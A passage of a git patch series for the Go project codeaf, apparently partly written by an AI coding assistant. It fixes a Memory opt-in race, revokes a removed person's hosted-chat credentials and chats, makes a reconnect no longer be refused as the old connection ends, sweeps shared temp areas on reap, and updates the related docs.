failure between the two leaves Memory off with an opt-in time a retry keeps (INSERT OR IGNORE). The new test holds StartBuild at its first use of the vault's database until the scanner has looked once, then expects nothing captured. It fails on the old order (Pending:2) and passes on the new. Co-Authored-By: Claude Sonnet 5.5 --- internal/knowledge/build.go | 18 +++- .../session/knowledge_optin_window_test.go | 85 +++++++++++++++++++ 2 files changed, 100 insertions(+), 3 deletions(-) create mode 100644 internal/session/knowledge_optin_window_test.go diff --git a/internal/knowledge/build.go b/internal/knowledge/build.go index 89593db4e8..219be82221 100644 --- a/internal/knowledge/build.go +++ b/internal/knowledge/build.go @@ -62,10 +62,19 @@ type History interface { Read(context.Context, Journal, JournalCursor) (JournalBatch, error) } +// StartBuild is the opt-in, and it is two writes: the vault's record of when +// Memory began and the profile switch that says it is on. THE RECORD COMES +// FIRST. The capture scanner looks on its own clock, and a look between the two +// writes must find the switch still off. With the switch first, that look found +// it on and no record yet, which reads as "on since the beginning of time" +// (consent), and it admitted every turn the chat had already finished: the full +// suite failed with the earlier turn pending as well as the new one. With the +// record first, the same look finds Memory off, and a look after the switch +// finds the record and its time. +// +// A failure between the two leaves the record and the switch off, which is +// Memory off with an opt-in time that a retry keeps (INSERT OR IGNORE). func (v *Vault) StartBuild() error { - if err := config.WriteMemoryEnabled(v.profile, true); err != nil { - return err - } db, err := v.database() if err != nil { return err @@ -94,6 +103,9 @@ func (v *Vault) StartBuild() error { if err = tx.Commit(); err != nil { return err } + if err = config.WriteMemoryEnabled(v.profile, true); err != nil { + return err + } v.forgetConsent() wakeBuild(v.root) return nil diff --git a/internal/session/knowledge_optin_window_test.go b/internal/session/knowledge_optin_window_test.go new file mode 100644 index 0000000000..947d5825f9 --- /dev/null +++ b/internal/session/knowledge_optin_window_test.go @@ -0,0 +1,85 @@ +package session + +import ( + "runtime/debug" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/knowledge" +) + +// A turn that finished before the person opted in is never captured, even when +// the capture scanner happens to look in the middle of the opt-in itself. +// +// The opt-in is two writes, the profile switch and the vault's own record of +// when it began, and a scanner that looks between them must still see "not yet". +// The scanner looks on its own clock (a second after the chat's last write), so +// on a slow machine that look lands in the middle of StartBuild often enough to +// show: TestKnowledgeCapturesSavedTurnsOnlyAfterOptIn failed on the full suite +// with four pending sources where two were wanted, the first turn included. +// +// The test holds StartBuild at its first use of the vault's database until the +// scanner has made one look and finished it, which is the worst moment, and then +// checks that the turn written before StartBuild was not admitted. +func TestKnowledgeScanInTheMiddleOfOptInDoesNotAdmitEarlierTurns(t *testing.T) { + profile := t.TempDir() + if err := config.WriteMemoryEnabled(profile, false); err != nil { + t.Fatal(err) + } + agent := consentChat(t, profile) + vault := agent.Knowledge() + if vault == nil { + t.Fatal("persisted conversation has no knowledge vault") + } + collect(t, mustSubmit(t, agent, "Explain how the queue keeps work durable")) + path := agent.file.journalName() + var scans atomic.Int64 + scanned := func(looked string) { + if looked == path { + scans.Add(1) + } + } + previous := knowledgeScanHook.Swap(&scanned) + t.Cleanup(func() { knowledgeScanHook.Store(previous) }) + + var held atomic.Bool + var waited atomic.Bool + hold := func(string) { + // Only StartBuild's own open is held. The scanner opens the same + // database while it looks, and holding that would wait on itself. + if !strings.Contains(string(debug.Stack()), "(*Vault).StartBuild") || !held.CompareAndSwap(false, true) { + return + } + before := scans.Load() + deadline := time.Now().Add(knowledgeCatchUp + 3*time.Second) + for scans.Load() == before && time.Now().Before(deadline) { + time.Sleep(5 * time.Millisecond) + } + waited.Store(scans.Load() > before) + // A scan holds its journal's lock for the whole look. + agent.knowledgeMu.RLock() + j := agent.knowledgeJournal + agent.knowledgeMu.RUnlock() + j.mu.Lock() + j.mu.Unlock() + } + restore := knowledge.SetDatabaseHookForTest(hold) + err := vault.StartBuild() + restore() + if err != nil { + t.Fatal(err) + } + if !held.Load() || !waited.Load() { + t.Fatalf("the scanner never looked while StartBuild was held (held %v, scanned %v): the test did not reach the moment it is about", held.Load(), waited.Load()) + } + snapshot, err := vault.Snapshot() + if err != nil { + t.Fatal(err) + } + if snapshot.Pending != 0 { + t.Fatalf("a turn written before the opt-in was captured by a scan in the middle of it: %+v", snapshot) + } +} From 774d007e3a039e094e7316358a682ef175687049 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 22:43:23 -0500 Subject: [PATCH 116/176] change entry: the Memory opt-in order and the two test fixtures Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2907-org-fullsuite-reds.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/changes/unreleased/2907-org-fullsuite-reds.md b/docs/changes/unreleased/2907-org-fullsuite-reds.md index 685faa244c..409c481578 100644 --- a/docs/changes/unreleased/2907-org-fullsuite-reds.md +++ b/docs/changes/unreleased/2907-org-fullsuite-reds.md @@ -1,8 +1,12 @@ --- -kind: internal -title: hosted-chat environment variables are registered as operator plumbing +kind: fixed +title: the org/main full-suite reds, including a Memory opt-in race that admitted earlier turns pr: 2907 -surface: [factory, build] +surface: [chat, factory, build] invalidates: - "The org server's and sessionhost's CODEAF_* variables were absent from config.OperatorEnvPins, so the full suite's environment registry test failed on org/main; they are now listed there as read-only plumbing." + - "Turning Memory on wrote the profile switch before the vault's own record of when it began, so a capture look between the two writes read Memory as on since the beginning of time and admitted every turn the chat had already finished; the record is written first now, and that look finds Memory still off." --- +The same change makes two cmd/codeaf test fixtures deterministic: the removed-computer quit now takes the removal +sentence a window would have shown before it checks that the quit itself prints nothing, and the real-engine read test +takes its home from `EngineDir`. From 4cf0b89c880f375a7af5fae7b79082dca24588cf Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 23:15:31 -0500 Subject: [PATCH 117/176] hosted chats: the refusal to stop or delete names the people who can hostedOwnerManage said only the owner can stop or delete a hosted chat, but the check is the manage verb, which a guest shared in full holds too, so the sentence was false for them. It now reads "Only this chat's owner, or someone it is shared with in full, can stop or delete it." The test and the manual page that quote it follow. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_access.go | 2 +- internal/factory/serve/hosted_p2_test.go | 2 +- internal/manual/chat/organization-hosted-sessions.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/internal/factory/serve/hosted_access.go b/internal/factory/serve/hosted_access.go index 1916bc7fda..466f41b45f 100644 --- a/internal/factory/serve/hosted_access.go +++ b/internal/factory/serve/hosted_access.go @@ -12,7 +12,7 @@ import ( "github.com/Agent-Field/codeaf/internal/factory/store" ) -const hostedOwnerManage = "Only the owner of this chat can stop or delete it." +const hostedOwnerManage = "Only this chat's owner, or someone it is shared with in full, can stop or delete it." type hostedWireClass uint8 diff --git a/internal/factory/serve/hosted_p2_test.go b/internal/factory/serve/hosted_p2_test.go index 5bc86778ce..8728bb92f1 100644 --- a/internal/factory/serve/hosted_p2_test.go +++ b/internal/factory/serve/hosted_p2_test.go @@ -462,7 +462,7 @@ func TestP2_7_HostedStopAndDeleteRequireManage(t *testing.T) { before := rg.host.count() for _, step := range []struct{ method, suffix string }{{http.MethodPost, "/stop"}, {http.MethodDelete, ""}} { w := rg.send("abir", step.method, path+step.suffix, nil, nil) - if w.Code != http.StatusForbidden || errorOf(t, w.Body.Bytes()) != "Only the owner of this chat can stop or delete it." { + if w.Code != http.StatusForbidden || errorOf(t, w.Body.Bytes()) != "Only this chat's owner, or someone it is shared with in full, can stop or delete it." { t.Fatalf("%s as a grantee without manage = %d %s", step.method, w.Code, w.Body) } } diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 576226e3b4..666e8f06f8 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -126,7 +126,7 @@ Stopping a chat ends every process it started, including ones that detached them Deleting a chat does the same and then removes its folder. Afterwards it is gone: `There is no such chat.` -Both are done through the organization's server by its owner, or by someone who holds the `manage` permission on the chat (the `full` role). Anyone else who can see the chat reads `Only the owner of this chat can stop or delete it.`, and anyone who cannot reads `There is no such chat.` Neither affects another chat. +Both are done through the organization's server by its owner, or by someone who holds the `manage` permission on the chat (the `full` role). Anyone else who can see the chat reads `Only this chat's owner, or someone it is shared with in full, can stop or delete it.`, and anyone who cannot reads `There is no such chat.` Neither affects another chat. ## the server says it cannot keep my chat apart — hosted chat refusals From 63f30e10b7e24f0f83b99b46015035e92daa4cb1 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 23:15:31 -0500 Subject: [PATCH 118/176] docs: follow org/main on moves, the build default and the change entry The sharing page and docs/organizations.md say that by default only the owner moves a chat and that chats.move_by lets people with manage do it too, and the start step says Compose builds codeaf from this checkout. The change entry drops the two claims org/main's own entry now covers and records the reworded stop and delete sentence. Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2908-org-docs.md | 7 +++---- docs/organizations.md | 21 ++++++++++---------- internal/manual/chat/organization-sharing.md | 2 +- 3 files changed, 15 insertions(+), 15 deletions(-) diff --git a/docs/changes/unreleased/2908-org-docs.md b/docs/changes/unreleased/2908-org-docs.md index 79486fb621..c094d9c8c0 100644 --- a/docs/changes/unreleased/2908-org-docs.md +++ b/docs/changes/unreleased/2908-org-docs.md @@ -2,14 +2,13 @@ kind: changed title: Organizations get an entry point, a corrected operator guide and manual sections people can find pr: 2908 -surface: [docs, chat] +surface: [docs, chat, factory] invalidates: - "Was true: the manual said a chat moved into a shared workstream appears in the workstream's list for its people, by name, owner and state. Is true now: a moved chat stays as private as it was and is listed only to the people it is shared with." - "Was true: the manual said a thing marked private is its owner's alone and that grants on it give nothing. Is true now: that holds for a workstream or a canvas; a grant on a private chat, Afi's pane or a hosted chat reaches the people it names and nobody else, and the workstream's people and the operator stay out unless the policy says otherwise." - - "Was true: the manual said only the owner can stop or delete a hosted chat. Is true now: stopping or deleting needs the manage permission, which the owner holds and a guest holds only through a role that includes it (the full role); anyone else who can see the chat reads that only the owner of the chat can stop or delete it." + - "Was true: the manual said only the owner can stop or delete a hosted chat, and the refusal read `Only the owner of this chat can stop or delete it.` Is true now: stopping or deleting needs the manage permission, which the owner holds and a guest holds only through a role that includes it (the full role), and the refusal reads `Only this chat's owner, or someone it is shared with in full, can stop or delete it.`, which now names both people who can." - "Was true: the manual said a bot always starts hosted chats and reaches My space. Is true now: a bot starts them only where the organization's policy lets agents create, and only reads My space and the policy and people lists." - - "Was true: deploy/org's README said the stack has five named volumes, that nothing long-lived runs as root, that only the owner drives a hosted chat, that .env is ignored by git, and that a Railway project is seven services. Is true now: six volumes (sessions-data holds the hosted chats), the sessionhost stays root on purpose, a guest drives only through the verbs the owner shared, no rule keeps .env out of git, and the Railway project is six services (seven with the keyless model stub)." - - "Was true: the README told an operator to build the codeaf image from source and then run docker compose up -d --no-build. Is true now: Compose builds only what is missing, so it is plain docker compose up -d; --no-build is for when every image is already built or pulled." + - "Was true: deploy/org's README said the stack has five named volumes, that nothing long-lived runs as root, that only the owner drives a hosted chat, and that a Railway project is seven services. Is true now: six volumes (sessions-data holds the hosted chats), the sessionhost stays root on purpose, a guest drives only through the verbs the owner shared, and the Railway project is six services (seven with the keyless model stub)." --- New: `docs/organizations.md` says what an organization is, what runs where, who can see what and how to get to a first hosted chat diff --git a/docs/organizations.md b/docs/organizations.md index 5e7cb0e2b0..23542f290f 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -125,7 +125,7 @@ The organization's policy (`GET` and `PUT /v1/org/policy`; only the operator cha `CODEAF_HOSTED_SESSION_CAP_USD` (five dollars). The monthly limit every person's spend is held to is set by the operator in Settings (twenty dollars by default). The same policy holds the roles, whether new chats start private (the default for chats and hosted chats), who may share, -and what bots and agents may do. +who may move a chat (`chats.move_by`: `owner`, the default, or `manage`) and what bots and agents may do. A **team server does not trust its own computer.** A request from the server's own machine with no sign-in is refused like any other (a solo server, a desktop window's own, still trusts it). `loopback_trust` is off for a team server; the @@ -156,20 +156,20 @@ CODEAF_PUBLIC_DOMAIN=codeaf.example.com # only when a proxy serves HT CODEAF_TRUSTED_PROXIES= ``` -**2. Start it.** The release that a plain build fetches does not contain `codeaf sessionhost`, so build the codeaf image -from this repository once, then start everything (published images work too when they exist; see "Published images" in -the operator README): +**2. Start it.** Compose builds the codeaf image from this checkout by default (`CODEAF_BINARY_FROM=source`), because no +published release has `codeaf sessionhost` yet. Do not set `CODEAF_BINARY_FROM=fetch` when hosted chats are on. Published +images work too, once they exist: see "Published images" in the operator README. ```sh -(cd ../.. && docker build -f deploy/org/codeaf.Dockerfile --build-arg ORG_DIR=deploy/org --build-arg CODEAF_BINARY_FROM=source \ - --build-arg SOURCE_COMMIT=$(git rev-parse HEAD) --label org.opencontainers.image.revision=$(git rev-parse HEAD) \ - -t codeaf-org/codeaf:local .) -docker compose up -d +docker compose up -d --build docker compose ps # every service says "healthy" docker compose exec sessionhost codeaf sessionhost probe # "ok": true on a machine that can keep chats apart ``` -The first build takes several minutes. **Sandbox note:** the full fence needs Linux 6.12 or newer. On an older kernel +The first build compiles codeaf and takes several minutes; later ones reuse Docker's cache. Set +`SOURCE_COMMIT=$(git rev-parse HEAD)` in the shell first if you want `codeaf version` inside the image to name the commit. + +**Sandbox note:** the full fence needs Linux 6.12 or newer. On an older kernel the sessionhost starts no chats and says why; setting `CODEAF_SESSIONHOST_REQUIRE=uid` lets it run on the user switch alone, with no limit on what a chat's commands can reach, and it warns in every chat. That is a choice, not a default. @@ -230,7 +230,8 @@ needs an image that has `codeaf sessionhost`; the operator README says how to po about the keyboard. It goes through when the owner has no window open, or after the guest takes the keyboard (allowed with `run`). Interrupting and answering are not affected. A tool-use approval stays with the owner, so a command that needs one waits for the owner. -- Only the owner moves a chat between My space and a workstream. +- By default only the owner moves a chat between My space and a workstream; the policy's `chats.move_by` set to `manage` lets + people with the `manage` verb on the chat move it too (never into their own My space, never a bot). - `local_sessions` `allow` and `warn` are reported and stored; nothing in a client acts on them yet. - The sandbox filters outbound network by port, not by address. - The Railway template made from the published images does not carry the sessionhost yet; a by-hand Railway install does diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index 4cd824ad3b..74ae1dbab4 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -51,7 +51,7 @@ Reading changes nothing: it does not mark the chat as touched, start its agent, A **move** changes where a chat lives, and so who can reach it; a **share** only adds or removes people. A chat's lines are kept under its workstream and its person, so a move relocates that folder: the chat keeps every line and is listed in its new place, and the old place no longer has it. -Only the person whose chat it is can move it, to a workstream they can edit or to their own My space; another person's space is never an option. Moving a chat to where it already is is refused with "it is already there". A chat that is answering a message cannot move: "stop it or wait for it to finish, then move it". Moving into My space makes it private again and drops the grants that were on it; the move says which ones. Moving into a workstream keeps its privacy and its grants. From then on the destination's rules apply: its budget pays for the chat's next messages, and a chat whose named agent the destination does not list still reads but takes no more messages ("start a new chat"). A move tells everyone who could see the chat before or after it, once. A chat moved into a shared workstream is as private as it was, so it appears in the workstream people's list only for those it has been shared with, as "Are chats private by default" says; what was said stays its owner's, apart from the read-only transcript of anyone it is shared with. +By default only the person whose chat it is can move it (the operator can let people with manage permission do it too, see "Who may move a chat"), to a workstream they can edit or to their own My space; another person's space is never an option. Moving a chat to where it already is is refused with "it is already there". A chat that is answering a message cannot move: "stop it or wait for it to finish, then move it". Moving into My space makes it private again and drops the grants that were on it; the move says which ones. Moving into a workstream keeps its privacy and its grants. From then on the destination's rules apply: its budget pays for the chat's next messages, and a chat whose named agent the destination does not list still reads but takes no more messages ("start a new chat"). A move tells everyone who could see the chat before or after it, once. A chat moved into a shared workstream is as private as it was, so it appears in the workstream people's list only for those it has been shared with, as "Are chats private by default" says; what was said stays its owner's, apart from the read-only transcript of anyone it is shared with. Pages and files do not move this way: they keep **Move to workstream…** (see "Moving a document from My space into a workstream"). Afi's pane and a task's working conversation belong to their workstream and cannot be moved. From 8774113bda660bf25d692d9dc987c167895d1c10 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 23:34:24 -0500 Subject: [PATCH 119/176] fix(org): removing a person ends their hosted chats' model and git access DELETE /v1/people/{handle}/sessions ended sign-ins and bots, but a hosted chat holds a minted bearer of its own, valid for seven days. A removed person's chat kept spending the organization's model key and reaching git as them, and their stored provider keys and chats stayed behind. Removal now ends those bearers first, in this process, then forgets the person's sealed keys, then deletes their chats on the chats' host. A registry row is forgotten only once the host confirms the delete (or answers that the chat is not there); a host that is down never blocks the removal. The revoke-link loop does the same for the people it removes. Found by the hostile-client round (a bearer replayed after its owner was removed still got a 200 from the model door). Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/access_links.go | 1 + internal/factory/serve/hosted_removal.go | 108 ++++++++++++++++++ internal/factory/serve/hosted_removal_test.go | 83 ++++++++++++++ internal/factory/serve/people_v2.go | 2 + 4 files changed, 194 insertions(+) create mode 100644 internal/factory/serve/hosted_removal.go create mode 100644 internal/factory/serve/hosted_removal_test.go diff --git a/internal/factory/serve/access_links.go b/internal/factory/serve/access_links.go index e79377efd7..27e21cf835 100644 --- a/internal/factory/serve/access_links.go +++ b/internal/factory/serve/access_links.go @@ -184,6 +184,7 @@ func (h *Handler) revokeAccessLink(w http.ResponseWriter, r *http.Request) { if h.failed(w, h.revokePerson(member.Profile.Handle, true)) { return } + h.endHostedLifeOf(r.Context(), member.Profile.Handle) if h.failed(w, h.leaveEveryTeam(r, member.Profile.Handle)) { return } diff --git a/internal/factory/serve/hosted_removal.go b/internal/factory/serve/hosted_removal.go new file mode 100644 index 0000000000..4a19bc414d --- /dev/null +++ b/internal/factory/serve/hosted_removal.go @@ -0,0 +1,108 @@ +package serve + +import ( + "context" + "encoding/json" + "log" + "net/http" + "strings" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +// This file is what removing a person from the organization does to the hosted +// chats they left running. Their sign-ins and bot credentials already end in +// revokePerson; a chat's model and git access are a separate credential (a +// minted bearer that lasts seven days and is held by the chat itself), so +// without this a removed person's chat would go on spending the organization's +// model key, and reaching git as them, until that bearer ran out. + +// revokePerson ends every live bearer held for one person's chats and answers +// how many it ended. It matches on the person the bearer was minted for, so a +// chat a guest was merely let into is not touched: that bearer is the owner's. +func (t *bearerTable) revokePerson(person string) int { + t.mu.Lock() + defer t.mu.Unlock() + ended := 0 + for hash, row := range t.rows { + if row.revoked || factory.NormalizeHandle(row.person) != person { + continue + } + row.revoked = true + if t.current[row.session] == hash { + delete(t.current, row.session) + } + ended++ + } + if ended > 0 { + t.saveLocked() + } + return ended +} + +// endHostedLifeOf ends what a removed person's hosted chats could still do. +// The order is the security order: the bearers go first, in this process, so +// the model and git doors refuse the person's chats before anything that can +// fail or wait is tried. Then the person's sealed keys are forgotten, so a +// provider key or GitHub sign-in they stored is not left behind. Last, their +// chats are deleted on the chats' host, which frees their Linux user and +// folder and means a guest of theirs cannot wake a chat that now belongs to +// nobody. The host being down never stops a removal: the bearers are already +// refused, and the chats are the only thing left to tidy. +func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { + cfg := h.config.Hosted + if cfg == nil || cfg.state == nil { + return + } + hs := cfg.state + person := factory.NormalizeHandle(handle) + if person == "" { + return + } + hs.bearers.revokePerson(person) + if hs.keys != nil && !hs.keys.Locked() { + for _, key := range hs.keys.List(person) { + if _, err := hs.keys.Delete(person, key.Provider); err != nil { + log.Print("hosted chats: a removed person's stored key could not be forgotten") + } + } + } + status, _, body, err := hs.call(ctx, http.MethodGet, "/v1/sessions", person, nil) + if err != nil || status != http.StatusOK { + log.Print("hosted chats: a removed person's chats could not be listed, so they were left in place") + return + } + for _, id := range hostedChatIDs(body) { + hs.registry.Lock() + status, _, _, err := hs.call(ctx, http.MethodDelete, "/v1/sessions/"+id, person, nil) + hs.models.forget(id, person) + if err == nil && (status/100 == 2 || status == http.StatusNotFound) { + hs.noteAsker(id, "") + if st := h.config.Store; st != nil { + if err := st.DeleteResource(store.SessionKind, id); err != nil { + log.Print("hosted chats: a removed person's chat could not be forgotten by the registry") + } + } + } + hs.registry.Unlock() + } +} + +// hostedChatIDs reads the ids out of the chats' host's list, keeping only +// well-formed ones: an id goes into an address, so nothing else may. +func hostedChatIDs(body []byte) []string { + var list struct { + Sessions []hostedStatusFields `json:"sessions"` + } + if err := json.Unmarshal(body, &list); err != nil { + return nil + } + var ids []string + for _, row := range list.Sessions { + if hostedIDForm.MatchString(strings.TrimSpace(row.ID)) { + ids = append(ids, row.ID) + } + } + return ids +} diff --git a/internal/factory/serve/hosted_removal_test.go b/internal/factory/serve/hosted_removal_test.go new file mode 100644 index 0000000000..e74740f2d1 --- /dev/null +++ b/internal/factory/serve/hosted_removal_test.go @@ -0,0 +1,83 @@ +package serve + +import ( + "net/http" + "testing" + + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +// VALIDATION CONTRACT, written before the code it checks: +// - When the operator removes a person, the model door refuses the bearer of +// every chat that person owned, at once: a removed person's chat spends +// nothing and reaches no git host as them. +// - Their chats are gone from the chats' host and from the registry, so a +// guest cannot wake one, and their Linux user and folder are freed. +// - Their stored keys are forgotten. +// - Nobody else is touched: another person's chat keeps its model access. +// - The chats' host being down never blocks a removal, and the bearers are +// refused anyway. + +func TestRemovingAPersonEndsTheirHostedChatsAndKeys(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + first, second := rg.create(t, "mia"), rg.create(t, "mia") + kept := rg.create(t, "santosh") + miaToken, secondToken, keptToken := rg.host.tokenOf(first), rg.host.tokenOf(second), rg.host.tokenOf(kept) + if w := rg.putKey("mia", "openrouter", "sk-mia-own-key-0001"); w.Code != 204 { + t.Fatalf("storing mia's key = %d %s", w.Code, w.Body) + } + + // Controls: before the removal every one of these works, so a refusal after it is the removal's doing. + for name, token := range map[string]string{"mia first": miaToken, "mia second": secondToken, "santosh": keptToken} { + if code := rg.model(token); code != http.StatusOK { + t.Fatalf("before the removal, %s's chat model call = %d", name, code) + } + } + if key, own, err := rg.h.hostedKeyFor("mia", "openrouter"); key == "" || !own || err != nil { + t.Fatalf("before the removal, mia's key = %q, %v, %v", key, own, err) + } + + if w := rg.send("owner", "DELETE", "/v1/people/mia/sessions", nil, nil); w.Code != http.StatusOK { + t.Fatalf("removing mia = %d %s", w.Code, w.Body) + } + + for name, token := range map[string]string{"mia first": miaToken, "mia second": secondToken} { + if code := rg.model(token); code != http.StatusUnauthorized { + t.Errorf("after the removal, %s's chat model call = %d, want 401", name, code) + } + } + if code := rg.model(keptToken); code != http.StatusOK { + t.Errorf("another person's chat model call after mia's removal = %d, want 200", code) + } + for _, id := range []string{first, second} { + if owner := rg.host.ownerOf(id); owner != "" { + t.Errorf("chat %s is still on the chats' host, owned by %q", id, owner) + } + if _, found, err := rg.st.Resource(store.SessionKind, id); err != nil || found { + t.Errorf("chat %s is still in the registry (found=%v, err=%v)", id, found, err) + } + } + if owner := rg.host.ownerOf(kept); owner != "santosh" { + t.Errorf("santosh's chat after mia's removal is owned by %q", owner) + } + if key, own, _ := rg.h.hostedKeyFor("mia", "openrouter"); key != "" || own { + t.Errorf("mia's stored key survived her removal: %q, %v", key, own) + } +} + +func TestRemovingAPersonWorksWhileTheChatsHostIsDown(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "mia") + token := rg.host.tokenOf(chat) + if code := rg.model(token); code != http.StatusOK { + t.Fatalf("before the removal, the chat's model call = %d", code) + } + rg.hostSrv.Close() + if w := rg.send("owner", "DELETE", "/v1/people/mia/sessions", nil, nil); w.Code != http.StatusOK { + t.Fatalf("removing mia with the chats' host down = %d %s", w.Code, w.Body) + } + if code := rg.model(token); code != http.StatusUnauthorized { + t.Errorf("after a removal made while the host was down, the chat's model call = %d, want 401", code) + } +} diff --git a/internal/factory/serve/people_v2.go b/internal/factory/serve/people_v2.go index be43f4b359..d0f452663f 100644 --- a/internal/factory/serve/people_v2.go +++ b/internal/factory/serve/people_v2.go @@ -194,6 +194,8 @@ func (h *Handler) operatorRevokePerson(w http.ResponseWriter, r *http.Request) { if h.failed(w, h.revokePerson(handle, true)) { return } + // Their hosted chats hold a model bearer of their own, which sign-in revocation does not reach. + h.endHostedLifeOf(r.Context(), handle) // A removed password person's password signs nobody in any more. err := tokens.RemoveAccount(h.config.TokensPath, handle) h.forgetAccounts() From 9c231bd49e2527af5434e49e3b8e469d3e8332f2 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 23:34:31 -0500 Subject: [PATCH 120/176] fix(sessionhost): a connection that just ended no longer refuses the next attach finishWire cancelled the finished connection before taking the lock that removes it from the chat's group. For as long as it waited for that lock the connection was "cancelled and still in the group", which reserveWire reads as "the chat is being stopped", so a reconnect in that window got 503 "This chat is unavailable right now." (a guest saw "The place chats run on is not answering."). The cancel now runs after the removal. Co-Authored-By: Claude Sonnet 5.5 --- internal/sessionhost/wire_linux.go | 7 ++++- internal/sessionhost/wire_test.go | 41 ++++++++++++++++++++++++++++++ 2 files changed, 47 insertions(+), 1 deletion(-) diff --git a/internal/sessionhost/wire_linux.go b/internal/sessionhost/wire_linux.go index 55f5db2012..cb069f7b51 100644 --- a/internal/sessionhost/wire_linux.go +++ b/internal/sessionhost/wire_linux.go @@ -210,7 +210,12 @@ func (s *supervisor) startWire(id string, attach *wireAttach) *engineChild { func (s *supervisor) finishWire(id string, attach *wireAttach) { defer s.wireWG.Done() - attach.cancel() + // THE CANCEL COMES AFTER THE REMOVAL. A cancelled wire that is still in the + // chat's group is how reserveWire tells that the chat is being stopped, so a + // connection that merely ended must be out of the group before it reads as + // cancelled. Cancelling first left a window, as long as the wait for the + // lock, in which a reconnect was refused as "unavailable". + defer attach.cancel() s.mu.Lock() defer s.mu.Unlock() group := s.wires[id] diff --git a/internal/sessionhost/wire_test.go b/internal/sessionhost/wire_test.go index 9fb6afaefb..9b3ab9abe0 100644 --- a/internal/sessionhost/wire_test.go +++ b/internal/sessionhost/wire_test.go @@ -151,3 +151,44 @@ func TestC5_WireCopiesBinaryAndTerminatesOnlyItsChild(t *testing.T) { t.Fatalf("disconnect changed the detached chat: %d %s", w.Code, w.Body) } } + +// VALIDATION CONTRACT: a chat whose connection has just ended can be attached +// again at once. The refusal for a chat that is being stopped ("unavailable") +// must never be given to a person who only reconnected. +func TestAConnectionThatJustEndedDoesNotRefuseTheNextAttach(t *testing.T) { + cfg := testConfig(t) + launcher := newWireTestLauncher() + procs := &fakeProcesses{live: processTable{}} + s := newTestSupervisor(t, cfg, healthyReport(), launcher, procs) + createChat(t, s, "alice", chatA) + procs.live[cfg.UIDBase] = []int{4321} + conn := dialTestWire(t, s) + child := launcher.child(t) + + // The test stands in for a reconnect that wins the supervisor's lock just as the old connection ends. + s.mu.Lock() + released := false + release := func() { + if !released { + released = true + s.mu.Unlock() + } + } + defer release() + if err := conn.Close(websocket.StatusNormalClosure, ""); err != nil && !errors.Is(err, net.ErrClosed) { + t.Fatal(err) + } + select { + case <-child.signals: + case <-time.After(3 * time.Second): + t.Fatal("disconnect left the bridge child running") + } + // The ending connection can go no further than the lock. Let it get there. + time.Sleep(100 * time.Millisecond) + + w := httptest.NewRecorder() + if !s.checkSlot(w, s.registry.sessions[chatA]) { + t.Fatalf("a reconnect as the old connection ended was refused: %d %s", w.Code, w.Body) + } + release() +} From 77274bfa9b6662d49d96873e5f30b111544b12ec Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 23:34:32 -0500 Subject: [PATCH 121/176] fix(sessionhost): clear what a chat's user left in the shared areas /tmp, /dev/shm and /var/tmp are writable by every chat by design, and the reap helper cleared only the chat's own folder. After the 24 hour quarantine a new chat on the same Linux user found the old chat's files, FIFOs, shared memory, message queues and semaphores, owned by "itself". Every mode of the reap helper (clear on delete, tmp on stop, init on start) now also removes, as the chat's own user and without following links, everything that user owns in those three areas and every System V segment, semaphore set and message queue it owns or created. Co-Authored-By: Claude Sonnet 5.5 --- internal/sessionhost/reap_linux.go | 6 + internal/sessionhost/sweep_linux.go | 161 +++++++++++++++++++++++ internal/sessionhost/sweep_linux_test.go | 143 ++++++++++++++++++++ 3 files changed, 310 insertions(+) create mode 100644 internal/sessionhost/sweep_linux.go create mode 100644 internal/sessionhost/sweep_linux_test.go diff --git a/internal/sessionhost/reap_linux.go b/internal/sessionhost/reap_linux.go index 1f0333e08a..851893902f 100644 --- a/internal/sessionhost/reap_linux.go +++ b/internal/sessionhost/reap_linux.go @@ -45,6 +45,12 @@ func reap(args []string) error { if err := reapAt(int(dir.Fd()), mode); err != nil { return errLayout } + // The shared areas are swept in every mode, for the same reason the chat's + // tmp folder is: a stopped chat, a deleted one and a new one on a recycled + // Linux user all begin with nothing of an earlier chat's in them. + if err := sweepShared(os.Geteuid(), sharedAreas, sysvDir); err != nil { + return errLayout + } return nil } diff --git a/internal/sessionhost/sweep_linux.go b/internal/sessionhost/sweep_linux.go new file mode 100644 index 0000000000..ffb8fd8e62 --- /dev/null +++ b/internal/sessionhost/sweep_linux.go @@ -0,0 +1,161 @@ +//go:build linux + +package sessionhost + +import ( + "bufio" + "errors" + "os" + "path/filepath" + "strconv" + "strings" + + "golang.org/x/sys/unix" +) + +// sharedAreas are the places every chat on the machine can write to and none of +// them owns. A chat's own folder goes with the chat; what it left in these did +// not, and a chat that is given the same Linux user later (after the day's +// quarantine, or when the range wraps) would find it, owned by "itself". +var sharedAreas = []string{"/dev/shm", "/tmp", "/var/tmp"} + +// sysvDir is where the kernel lists the System V objects. It is a variable so a test can point the sweep at a +// folder of its own instead of 